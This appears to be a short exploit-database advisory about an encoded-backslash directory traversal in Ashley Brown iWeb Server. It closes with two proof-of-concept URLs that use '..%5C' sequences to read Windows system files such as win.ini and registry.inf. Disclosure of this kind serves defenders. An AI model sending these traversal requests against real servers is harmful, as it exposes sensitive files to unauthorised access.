Ashley Brown iWeb Server - Encoded Backslash Directory Traversal

Author: cr-secure.net
type: remote
platform: windows
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date_added: 2003-10-31 
date_updated: 2012-12-12 
verified: 1 
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source: https://www.securityfocus.com/bid/8943/info

It has been reported that iWeb Server is prone a directory traversal issue allowing a remote attacker to traverse outside the server root directory by using '..%5C' character sequences.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information, which may be used to mount further attacks against a vulnerable system.

http://127.0.0.1/..%5C..%5C..%5C.. %5C..%5C..%5C/winnt/win.ini

http://127.0.0.1/..%5C..%5C..%5C..%5C..%5C..%5C/winnt/system32/registry.inf